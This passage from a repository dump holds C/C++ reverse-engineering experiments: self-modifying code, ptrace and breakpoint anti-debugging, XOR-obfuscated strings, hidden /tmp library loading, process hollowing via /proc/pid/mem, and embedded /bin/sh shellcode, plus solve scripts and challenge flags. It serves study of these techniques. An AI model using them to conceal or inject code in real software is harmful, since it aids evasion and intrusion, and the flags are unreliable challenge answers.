ptrace(PTRACE_CONT, NULL, NULL); 31 | ptrace(PTRACE_DETACH, getppid(), NULL, NULL); 32 | res = 0; 33 | } else { 34 | res = 1; 35 | } 36 | exit(res); 37 | } else { 38 | waitpid(pid, &status, 0); 39 | res = WEXITSTATUS(status); 40 | } 41 | return res; 42 | } 43 | 44 | int pf(const char* ty,long* ar,long* rs, char* in) 45 | { 46 | while(*ty) 47 | { 48 | switch(*ty){ 49 | case 'i': 50 | if ((int)*ar != (int)*in) { 51 | puts("Incorrect"); 52 | return -1; 53 | } 54 | break; 55 | case 'c': 56 | if ((int)ul(*ar) != (int)*in) { 57 | hl(*ar); 58 | puts("Incorrect"); 59 | return -1; 60 | } 61 | hl(*ar); 62 | break; 63 | } 64 | ++ty; 65 | ++ar; 66 | ++in; 67 | } 68 | return 0; 69 | } 70 | 71 | typedef struct ST{ 72 | const char *SN; 73 | TW pF; 74 | } ST; 75 | 76 | ST tb[] = { 77 | {"fp", &pf}, 78 | {NULL, NULL} 79 | }; 80 | 81 | int DC(const char *fc,const char* ty,long* ar,long* rs,char* in) 82 | { 83 | int k; 84 | for(k=0;tb[k].SN != NULL;++k){ 85 | if(strcmp(fc,tb[k].SN) == 0){ 86 | return tb[k].pF(ty,ar,rs,in); 87 | } 88 | } 89 | return -1; 90 | } 91 | 92 | int bf(void *ad) { 93 | int pS = getpagesize(); 94 | ad -= (unsigned long)ad % pS; 95 | if(mprotect(ad, pS, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { 96 | return -1; 97 | } 98 | return 0; 99 | } 100 | 101 | int fb(void *ad) { 102 | int pS = getpagesize(); 103 | ad -= (unsigned long)ad % pS; 104 | if(mprotect(ad, pS, PROT_EXEC) == -1) { 105 | return -1; 106 | } 107 | return 0; 108 | } 109 | 110 | void flag(void) { 111 | printf("Guess the flag?\n"); 112 | } 113 | 114 | void ch(void) { 115 | long ar[] = {68,hl('y'),110,52,hl('m'),49,hl('c'),hl('_'),70,hl('u'),110,99,hl('7'),49,hl('0'),110,hl('_'),hl('C'),52,hl('1'),49,53,hl('_'),51,56,hl('4'),hl('7'),53,53,hl('6'),51,hl('7'),57,52,hl('2')}; 116 | long rs[8]; 117 | char sr[255]; 118 | fgets(sr, 255, stdin); 119 | 120 | if (strlen(sr)==20) { 121 | int rC = DC("fp","iciicicciciicicicciciiciicciiciciic",(long*)ar,(long*)rs,(char*)sr); 122 | if (rC == 0) { 123 | puts("Correct"); 124 | } 125 | return; 126 | } 127 | puts("Incorrect"); 128 | } 129 | 130 | int main(void) { 131 | void *add = (void*)ch; 132 | if (bf(add) == -1) { 133 | puts("Incorrect"); 134 | } 135 | 136 | if (gdb()) exit(0); 137 | unsigned char *ins = (unsigned char*)add + 84; 138 | *ins = 0x24; 139 | ch(); 140 | 141 | fb(add); 142 | return 0; 143 | } 144 | -------------------------------------------------------------------------------- /dynamic/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/1.png -------------------------------------------------------------------------------- /dynamic/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/2.png -------------------------------------------------------------------------------- /dynamic/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/3.png -------------------------------------------------------------------------------- /dynamic/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/4.png -------------------------------------------------------------------------------- /dynamic/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/5.png -------------------------------------------------------------------------------- /dynamic/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/6.png -------------------------------------------------------------------------------- /dynamic/img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/7.png -------------------------------------------------------------------------------- /dynamic/img/objdump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/img/objdump.png -------------------------------------------------------------------------------- /dynamic/mutate/mutate1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void foo(void); 8 | int change_page_permissions_of_address(void *addr); 9 | 10 | int main(void) { 11 | void *foo_addr = (void*)foo; 12 | 13 | // Change the permissions of the page that contains foo() to read, write, and execute 14 | // This assumes that foo() is fully contained by a single page 15 | if(change_page_permissions_of_address(foo_addr) == -1) { 16 | fprintf(stderr, "Error while changing page permissions of foo(): %s\n", strerror(errno)); 17 | return 1; 18 | } 19 | 20 | // Call the unmodified foo() 21 | puts("Calling foo..."); 22 | foo(); 23 | 24 | // Change the immediate value in the addl instruction in foo() to 42 25 | unsigned char *instruction = (unsigned char*)foo_addr + 18; 26 | *instruction = 0x2A; 27 | 28 | // Call the modified foo() 29 | puts("Calling foo..."); 30 | foo(); 31 | 32 | return 0; 33 | } 34 | 35 | void foo(void) { 36 | int i=0; 37 | i++; 38 | printf("i: %d\n", i); 39 | } 40 | 41 | int change_page_permissions_of_address(void *addr) { 42 | // Move the pointer to the page boundary 43 | int page_size = getpagesize(); 44 | addr -= (unsigned long)addr % page_size; 45 | 46 | if(mprotect(addr, page_size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { 47 | return -1; 48 | } 49 | 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /dynamic/mutate/mutate2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void foo(void); 8 | int change_page_permissions_of_address(void *addr); 9 | 10 | int main(void) { 11 | void *foo_addr = (void*)foo; 12 | 13 | // Change the permissions of the page that contains foo() to read, write, and execute 14 | // This assumes that foo() is fully contained by a single page 15 | if(change_page_permissions_of_address(foo_addr) == -1) { 16 | fprintf(stderr, "Error while changing page permissions of foo(): %s\n", strerror(errno)); 17 | return 1; 18 | } 19 | 20 | puts("Calling foo"); 21 | foo(); 22 | 23 | // http://www.exploit-db.com/exploits/13691/ 24 | char shellcode[] = 25 | "\x48\x31\xd2" // xor %rdx, %rdx 26 | "\x48\x31\xc0" // xor %rax, %rax 27 | "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" // mov $0x68732f6e69622f2f, %rbx 28 | "\x53" // push %rbx 29 | "\x48\x89\xe7" // mov %rsp, %rdi 30 | "\x50" // push %rax 31 | "\x57" // push %rdi 32 | "\x48\x89\xe6" // mov %rsp, %rsi 33 | "\xb0\x3b" // mov $0x3b, %al 34 | "\x0f\x05"; // syscall 35 | 36 | // Careful with the length of the shellcode here depending on what is after foo 37 | memcpy(foo_addr, shellcode, sizeof(shellcode)-1); 38 | 39 | puts("Calling foo"); 40 | foo(); 41 | 42 | return 0; 43 | } 44 | 45 | void foo(void) { 46 | int i=0; 47 | i++; 48 | printf("i: %d\n", i); 49 | } 50 | 51 | int change_page_permissions_of_address(void *addr) { 52 | // Move the pointer to the page boundary 53 | int page_size = getpagesize(); 54 | addr -= (unsigned long)addr % page_size; 55 | 56 | if(mprotect(addr, page_size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { 57 | return -1; 58 | } 59 | 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /dynamic/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | f = open('dynamic', 'rb').read().replace('\x00','') 4 | 5 | #iciicicciciicicicciciiciicciiciciic 6 | sequence = f[f.find('flag?')+len('flag?'):f.find('Correct')] 7 | 8 | """ 9 | ELF Strings REF 10 | Guess the flag? 11 | iciicicciciicicicciciiciicciiciciic 12 | Correct 13 | <35 Rows of (OFFSET)0x__ Characters> 14 | """ 15 | 16 | encoded_flag = f[f.find('Correct')+len('Correct'):][:35] 17 | flag = "" 18 | 19 | #Characters are encoded via the "ic..." sequence, where i remains the same, and c is offset by 0x47 20 | for char in range(len(encoded_flag)): 21 | if sequence[char] == 'i': 22 | flag += encoded_flag[char] 23 | elif sequence[char] == 'c': 24 | flag += chr(ord(encoded_flag[char]) - 0x47) 25 | else: 26 | print 'Sequence is incorrect!\n' 27 | print flag 28 | -------------------------------------------------------------------------------- /load/README.md: -------------------------------------------------------------------------------- 1 | # Load 2 | 3 | ## Solving 4 | 5 | - call sym dbp() is a function that detects breakpoints when the binary is run within a debugger 6 | 7 | ### ![Decompiled binary](img/5.png) 8 | 9 | - Overwrite jump instruction to skip GDB check 10 | 11 | ### ![Overwrite ASM Instruction](img/6.png) 12 | 13 | - Use gdb to step through instructions till string compare function is called 14 | 15 | - Stack is pushed to save the entire decoded flag when the loaded strcmp function is run, thus obtaining the flag 16 | 17 | ### ![Flag in Stack](img/7.png) 18 | 19 | ## Workflow 20 | 21 | - Strings are obfuscated via XOR, thus hidden from strings 22 | 23 | ### ![Obfuscation technique](img/1.png) 24 | 25 | - Compile library within /tmp/ file to hide files during runtime 26 | 27 | ### ![Creation, Load, and Removal of Compiled Libary](img/2.png) 28 | 29 | - Load function within library 30 | 31 | ### ![Loaded Function Within Compiled Library](img/3.png) 32 | 33 | - Call loaded function to validate input string 34 | 35 | ### ![Call Loaded Function](img/4.png) 36 | -------------------------------------------------------------------------------- /load/history/detect.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | extern unsigned char* _start; 4 | extern unsigned char* __etext; 5 | 6 | int DetectBP() { 7 | int count = 0; 8 | char* start = (char*)&_start; 9 | char* end = (char*)&__etext; 10 | printf("_start @ %p\n", start); 11 | printf("__etext @ %p\n", end); 12 | while (start != end) { 13 | if (((*(volatile unsigned *)start) & 0xFF) == 0xCC) { 14 | ++count; 15 | printf("Breakpoint at %p: (%x)\n", start, *start); 16 | } 17 | ++start; 18 | } 19 | return count; 20 | } 21 | 22 | void run() { 23 | printf("BREAK ME"); 24 | return; 25 | } 26 | 27 | int main(int argc, char** argv) { 28 | DetectBP(); 29 | run(); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /load/history/load1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct S { 7 | int a,b; 8 | }; 9 | 10 | using namespace std; 11 | 12 | void create(string payload) { 13 | ofstream f ( "tmp.cpp" ); 14 | f << payload; 15 | f.close(); 16 | 17 | system ( "/usr/bin/gcc -shared tmp.cpp -o libtmp.so;rm tmp.cpp" ); 18 | } 19 | 20 | void * load() { 21 | void * fLib = dlopen ( "./libtmp.so", RTLD_LAZY ); 22 | if ( !fLib ) { 23 | cerr << "Cannot open library: " << dlerror() << '\n'; 24 | } 25 | return fLib; 26 | } 27 | 28 | void remove() { 29 | system ( "rm libtmp.so" ); 30 | } 31 | 32 | int main ( int argc, char **argv ) { 33 | string payload = "#include\n\ 34 | struct S {int a,b;};\n\ 35 | extern \"C\" void F(S &s) { s.a += s.a; s.b *= s.b; }\n"; 36 | create(payload); 37 | 38 | void * fLib = load(); 39 | if ( fLib ) { 40 | int ( *fn ) ( S & ) = (int (*)( S & )) dlsym ( fLib, "F" ); 41 | 42 | if ( fn ) { 43 | for(int i=0;i<11;i++) { 44 | S s; 45 | s.a = i; 46 | s.b = i; 47 | fn(s); 48 | cout << s.a << " " << s.b << endl; 49 | } 50 | } 51 | dlclose ( fLib ); 52 | } 53 | 54 | remove(); 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /load/history/load2.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | extern unsigned char* _start; 8 | extern unsigned char* __etext; 9 | 10 | int DetectBP() { 11 | int count = 0; 12 | char* start = (char*)&_start; 13 | char* end = (char*)&__etext; 14 | while (start != end) { 15 | if (((*(volatile unsigned *)start) & 0xFF) == 0xCC) { 16 | ++count; 17 | } 18 | ++start; 19 | } 20 | return count-1; 21 | } 22 | 23 | using namespace std; 24 | 25 | struct S { 26 | string a; 27 | }; 28 | 29 | int exec(string command) { 30 | FILE* pipe = popen(command.c_str(), "r"); 31 | if (!pipe) return 1; 32 | pclose(pipe); 33 | return 0; 34 | } 35 | 36 | void create(string payload) { 37 | ofstream f ( "/tmp/tmp.cpp" ); 38 | f << payload; 39 | f.close(); 40 | 41 | if (exec ( "/usr/bin/gcc -shared /tmp/tmp.cpp -o /tmp/libtmp.so; rm /tmp/tmp.cpp" )) puts("Incorrect"); 42 | } 43 | 44 | void * load() { 45 | void * fLib = dlopen ( "/tmp/libtmp.so", RTLD_LAZY ); 46 | if ( !fLib ) { 47 | puts("Incorrect"); 48 | } 49 | return fLib; 50 | } 51 | 52 | void remove() { 53 | if (exec ( "rm /tmp/libtmp.so" )) puts("Incorrect"); 54 | } 55 | 56 | int main ( int argc, char **argv ) { 57 | if (DetectBP() > 0) { 58 | puts("Incorrect"); 59 | return 0; 60 | } 61 | 62 | string payload = "\ 63 | #include\n\ 64 | #include\n\ 65 | using namespace std;\n\ 66 | struct S {string a;};\n\ 67 | extern \"C\" void F(S &s) { s.a = \"Correct\"; }\n\ 68 | "; 69 | create(payload); 70 | 71 | void * fLib = load(); 72 | if ( fLib ) { 73 | int ( *fn ) ( S & ) = (int (*)( S & )) dlsym ( fLib, "F" ); 74 | 75 | if ( fn ) { 76 | S s; 77 | s.a = "Incorrect"; 78 | fn(s); 79 | cout << s.a << endl; 80 | } 81 | dlclose ( fLib ); 82 | } 83 | 84 | remove(); 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /load/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/1.png -------------------------------------------------------------------------------- /load/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/2.png -------------------------------------------------------------------------------- /load/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/3.png -------------------------------------------------------------------------------- /load/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/4.png -------------------------------------------------------------------------------- /load/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/5.png -------------------------------------------------------------------------------- /load/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/6.png -------------------------------------------------------------------------------- /load/img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/img/7.png -------------------------------------------------------------------------------- /load/load: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/load/load -------------------------------------------------------------------------------- /load/load_final.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | // Load start and end binary addresses 10 | extern unsigned char* _start; 11 | extern unsigned char* __etext; 12 | 13 | // Load first hide string function using 0x49 XOR 14 | template 15 | static const Char se = 0x49; 16 | template::size_type Length> 18 | struct obfuscated_string 19 | { 20 | using String = std::basic_string; 21 | const std::array storage; 22 | operator String() const 23 | { 24 | String s{storage.data(), Length}; 25 | for (auto& c: s) 26 | c ^= se; 27 | return s; 28 | } 29 | }; 30 | template 31 | constexpr obfuscated_string operator ""_hidden() 32 | { 33 | return { { (st ^ se)... } }; 34 | } 35 | 36 | // Load second hide string function using 0x26 XOR 37 | template 38 | static const Char sf = 0x26; 39 | template::size_type Length> 41 | struct obfuscated_string2 42 | { 43 | using String = std::basic_string; 44 | const std::array storage; 45 | operator String() const 46 | { 47 | String s{storage.data(), Length}; 48 | for (auto& c: s) 49 | c ^= sf; 50 | return s; 51 | } 52 | }; 53 | template 54 | constexpr obfuscated_string2 operator ""_hidden2() 55 | { 56 | return { { (st ^ sf)... } }; 57 | } 58 | 59 | void __attribute__((constructor)) flag (void); 60 | 61 | // Detect for breakpoints (minus one to avoid false positives) 62 | int dbp() { 63 | int co = 0; 64 | char* st = (char*)&_start; 65 | char* en = (char*)&__etext; 66 | while (st != en) { 67 | if (((*(volatile unsigned *)st) & 0xFF) == 0xCC) { 68 | ++co; 69 | } 70 | ++st; 71 | } 72 | return co-1; 73 | } 74 | 75 | using namespace std; 76 | 77 | // Pipe for loaded function 78 | struct S { 79 | string a, b; 80 | int i; 81 | }; 82 | 83 | // Execute CLI commands 84 | int ex(string cm) { 85 | FILE* pp = popen(cm.c_str(), "r"); 86 | if (!pp) return 1; 87 | pclose(pp); 88 | return 0; 89 | } 90 | 91 | // Create tmp.cpp and tmplib.so files for loaded functions 92 | void cr(string pl) { 93 | static const auto me = "/tmp/tmp.cpp"_hidden; 94 | string tF = me; 95 | ofstream f ( tF ); 96 | f << pl; 97 | f.close(); 98 | 99 | static const auto mes = "/usr/bin/gcc -shared /tmp/tmp.cpp -o /tmp/libtmp.so; rm /tmp/tmp.cpp"_hidden; 100 | string cm = mes; 101 | if (ex ( cm )) puts("Incorrect"); 102 | } 103 | 104 | // Load function from libtmp.so 105 | void * lo() { 106 | static const auto me = "/tmp/libtmp.so"_hidden; 107 | string cm = me; 108 | void * fL = dlopen ( cm.c_str(), RTLD_LAZY ); 109 | if ( !fL ) { 110 | puts("Incorrect"); 111 | } 112 | return fL; 113 | } 114 | 115 | // Remove libtmp.so file 116 | void re() { 117 | static const auto me = "rm /tmp/libtmp.so"_hidden; 118 | string cm = me; 119 | if (ex ( cm )) puts("Incorrect"); 120 | } 121 | 122 | // Prints prompt 123 | void flag(void) { 124 | printf("Guess the flag?\n"); 125 | } 126 | 127 | // Create function payload for string compare function 128 | int main ( int argc, char **argv ) { 129 | int co = dbp(); 130 | if (co != 0) { 131 | puts("Incorrect"); 132 | return 0; 133 | } 134 | 135 | static const auto me = "\ 136 | #include\n\ 137 | #include\n\ 138 | struct S {std::string a,b;int i;};\n\ 139 | extern \"C\" void F(S &s) {\n\ 140 | if ((s.a.length()==0||s.b.length()==0)||s.a.compare(s.b)!=0||s.a.length()!=s.b.length()){\n\ 141 | s.i=1;\n\ 142 | return;\n\ 143 | }\n\ 144 | s.i=0;}\n\ 145 | "_hidden; 146 | string pl = me; 147 | cr(pl); 148 | 149 | void * fL = lo(); 150 | if ( fL ) { 151 | int ( *fn ) ( S & ) = (int (*)( S & )) dlsym ( fL, "F" ); 152 | 153 | if ( fn ) { 154 | S s; 155 | static const auto ar = "Wh3r35_my_f2nc710n_at_8495729728405"_hidden2; 156 | s.a = ar; 157 | getline(cin,s.b); 158 | fn(s); 159 | if (s.i) { 160 | puts("Incorrect"); 161 | } else { 162 | puts("Correct"); 163 | } 164 | } 165 | dlclose ( fL ); 166 | } 167 | 168 | re(); 169 | return 0; 170 | } 171 | -------------------------------------------------------------------------------- /load/load_flag.txt: -------------------------------------------------------------------------------- 1 | Wh3r35_my_f2nc710n_at_8495729728405 2 | -------------------------------------------------------------------------------- /prochollow/README.md: -------------------------------------------------------------------------------- 1 | # ProcHollow 2 | 3 | ## Workflow 4 | 5 | - Similar to Rewrite 6 | 7 | - Spawns child process to execv hello binary in pwd 8 | 9 | - PTRACE_TRACEME for parent process to halt child process 10 | 11 | ### ![Fork process](img/3.png) 12 | 13 | - Wait to read pid from pipe from child process 14 | 15 | ### ![Parent process](img/1.png) 16 | 17 | - SIGTRAP child process to edit its virtual memory 18 | 19 | - Calculate start and end of memory addresses with pwd as string search, to only find Code sections in virtual memory of child process 20 | 21 | ### ![Calculate addresses](img/2.png) 22 | 23 | - Searches /proc/{pid}/maps by line 24 | 25 | ### ![Read /proc/{pid}/maps](img/4.png) 26 | 27 | - Reads /proc/{pid}/mem from start address of Code section 28 | 29 | - Locates main function byte sequence to find offset 30 | 31 | - Replaces printf value with 0x10 32 | 33 | ### ![Rewrites /proc/{pid}/mem](img/5.png) 34 | -------------------------------------------------------------------------------- /prochollow/hello: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/hello -------------------------------------------------------------------------------- /prochollow/hello_final.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char* argv[]) { 5 | printf("Hello %s!\n", argv[1]); 6 | printf("%d!\n", 10); 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /prochollow/history/hello1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/history/hello1 -------------------------------------------------------------------------------- /prochollow/history/hello1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char* argv[]) { 5 | printf("Hello %s!\n", argv[1]); 6 | } 7 | -------------------------------------------------------------------------------- /prochollow/history/hello2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/history/hello2 -------------------------------------------------------------------------------- /prochollow/history/hello2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char* argv[]) { 5 | puts("HOII"); 6 | char* c; 7 | c = (char*)malloc(sizeof(char*)); 8 | fgets(c, 10, stdin); 9 | printf("HELLO %d", 0x16); 10 | } 11 | -------------------------------------------------------------------------------- /prochollow/history/prochollow1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void parent(pid_t pid) 11 | { 12 | int status; 13 | waitpid(pid, &status, 0); 14 | 15 | if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { 16 | sleep(1); 17 | // Modify suspended hello 18 | 19 | ptrace(PTRACE_CONT, pid, (char*)1, 0); 20 | } 21 | } 22 | 23 | int main(int argc, char **argv) 24 | { 25 | pid_t result; 26 | int pid_pipe[2]; 27 | int pid; 28 | char *pid_buf=(char*)malloc(sizeof(char*)); 29 | if (pipe(pid_pipe)==-1) { 30 | puts("ERROR"); 31 | return 1; 32 | } 33 | 34 | result = fork(); 35 | switch (result) { 36 | case 0: 37 | close(pid_pipe[0]); 38 | pid = getpid(); 39 | sprintf(pid_buf, "%d", pid); 40 | write(pid_pipe[1], pid_buf, strlen(pid_buf)+1); 41 | close(pid_pipe[1]); 42 | ptrace(PTRACE_TRACEME, 0, 0, 0); 43 | execv("./hello1", argv); 44 | free(pid_buf); 45 | break; 46 | case -1: 47 | printf("ERROR\n"); 48 | break; 49 | default: 50 | close(pid_pipe[1]); 51 | read(pid_pipe[0], pid_buf, 100); 52 | pid = strtol(pid_buf, NULL, 10); 53 | parent(pid); 54 | break; 55 | } 56 | } 57 | 58 | -------------------------------------------------------------------------------- /prochollow/history/prochollow2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | typedef unsigned char BYTE; 9 | 10 | char* maps(char*, int); 11 | int mem(char*, char*, char*); 12 | 13 | int main(int argc, char* argv[]) { 14 | if (argc != 2) return 1; 15 | int count = 1; 16 | char* pid = argv[1]; 17 | char *addr[10], *start_addr, *end_addr; 18 | 19 | while(!strstr(maps(pid, count), "[heap]")) { 20 | addr[count] = maps(pid, count); 21 | if (count == 1) start_addr = strtok(addr[count], "-"); 22 | count++; 23 | } 24 | end_addr = strtok(maps(pid, count-1), " "); 25 | end_addr = strtok(end_addr, "-"); 26 | end_addr = strtok(NULL, "-"); 27 | 28 | mem(pid, start_addr, end_addr); 29 | return 0; 30 | } 31 | 32 | char* maps(char* pid, int linesearch) { 33 | FILE *ptr; 34 | int line = 1, found = 0; 35 | char* fl, liner[100], *rtn = (char*)malloc(sizeof(char*)); 36 | fl = (char*)malloc(sizeof(char*)); 37 | sprintf(fl, "/proc/%s/maps", pid); 38 | ptr = fopen(fl,"r"); 39 | if (ptr == NULL) exit(1); 40 | 41 | while(fgets(liner, 100, ptr)) { 42 | if (linesearch == line) { 43 | found = 1; 44 | break; 45 | } 46 | line++; 47 | } 48 | if (!found) exit(1); 49 | free(fl); 50 | strcpy(rtn, liner); 51 | return rtn; 52 | } 53 | 54 | int mem(char* pid, char* start_addr, char* end_addr) { 55 | unsigned long int s_addr = strtoul(start_addr, NULL, 16); 56 | unsigned long int e_addr = strtoul(end_addr, NULL, 16); 57 | unsigned long length = e_addr - s_addr; 58 | char *fl; 59 | int i; 60 | BYTE *buf = (BYTE*)malloc(length); 61 | fl = (char*)malloc(sizeof(char*)); 62 | sprintf(fl, "/proc/%s/mem", pid); 63 | int fd = open(fl, O_RDWR); 64 | if (fd == -1) return 1; 65 | 66 | lseek(fd, s_addr, SEEK_SET); 67 | read(fd, buf, length); 68 | for (i=0; i 2 | #include 3 | 4 | int main() { 5 | printf("HELLO"); 6 | } 7 | -------------------------------------------------------------------------------- /prochollow/intercept/intercept: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/intercept/intercept -------------------------------------------------------------------------------- /prochollow/intercept/intercept.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int 11 | main(int argc, char **argv) 12 | { 13 | pid_t pid; 14 | int status; 15 | posix_spawnattr_t attr; 16 | 17 | status = posix_spawnattr_init(&attr); 18 | if (status != 0) { 19 | perror("can't init spawnattr"); 20 | exit(status); 21 | } 22 | 23 | status = posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); 24 | if (status != 0) { 25 | perror("can't set flags"); 26 | exit(status); 27 | } 28 | 29 | status = posix_spawn(&pid, "./hello", NULL, &attr, NULL, NULL); 30 | if (status != 0) { 31 | printf("posix_spawn: %s\n", strerror(status)); 32 | exit(status); 33 | } 34 | 35 | printf("Child pid: %i\n", pid); 36 | 37 | sleep(3); 38 | 39 | kill(pid, SIGCONT); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /prochollow/proc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/prochollow/proc -------------------------------------------------------------------------------- /prochollow/prochollow_final.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | typedef unsigned char BYTE; 13 | 14 | char* maps(char*, int); 15 | int mem(char*, char*, char*); 16 | 17 | void parent(char* pid) { 18 | int status; 19 | int count = 1; 20 | char *addr[10], *start_addr, *end_addr; 21 | char cwd[50]; 22 | pid_t pid_wait = strtol(pid, NULL, 10); 23 | // Wait for child process to run PTRACE_TRACEME 24 | waitpid(pid_wait, &status, 0); 25 | // Retrieve pwd 26 | if (getcwd(cwd, sizeof(cwd)) == NULL) exit(1); 27 | 28 | // Sighalt child process to rewrite its virtual memory 29 | if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { 30 | // Only retrieve memory map of CODE section 31 | while(strstr(maps(pid, count), cwd) != NULL) { 32 | // Retrieve start address 33 | addr[count] = maps(pid, count); 34 | if (count == 1) start_addr = strtok(addr[count], "-"); 35 | count++; 36 | } 37 | // Retrieve end address 38 | end_addr = strtok(maps(pid, count-1), " "); 39 | end_addr = strtok(end_addr, "-"); 40 | end_addr = strtok(NULL, "-"); 41 | 42 | // Rewrite child process's virtual memory 43 | mem(pid, start_addr, end_addr); 44 | 45 | ptrace(PTRACE_CONT, pid, (char*)1, 0); // Continue suspended process 46 | //kill(pid_wait, SIGKILL); // Kill suspended process 47 | } 48 | } 49 | 50 | int main(int argc, char* argv[]) { 51 | pid_t result; 52 | int pid_pipe[2]; 53 | int pid; 54 | char *pid_buf=(char*)malloc(sizeof(char*)); 55 | 56 | // Create pipe for transfer of pid 57 | if (pipe(pid_pipe)==-1) { 58 | puts("ERROR"); 59 | return 1; 60 | } 61 | 62 | result = fork(); 63 | switch (result) { 64 | case 0: 65 | close(pid_pipe[0]); 66 | pid = getpid(); 67 | sprintf(pid_buf, "%d", pid); 68 | write(pid_pipe[1], pid_buf, strlen(pid_buf)+1); 69 | close(pid_pipe[1]); 70 | ptrace(PTRACE_TRACEME, 0, 0, 0); 71 | // Runs hello process with our argv, simulating the hello process 72 | execv("./hello", argv); 73 | free(pid_buf); 74 | break; 75 | case -1: 76 | puts("ERROR"); 77 | break; 78 | default: 79 | close(pid_pipe[1]); 80 | read(pid_pipe[0], pid_buf, 100); 81 | parent(pid_buf); 82 | break; 83 | } 84 | return 0; 85 | } 86 | 87 | char* maps(char* pid, int linesearch) { 88 | FILE *ptr; 89 | int line = 1, found = 0; 90 | char* fl, liner[500], *rtn = (char*)malloc(sizeof(char*)); 91 | fl = (char*)malloc(sizeof(char*)); 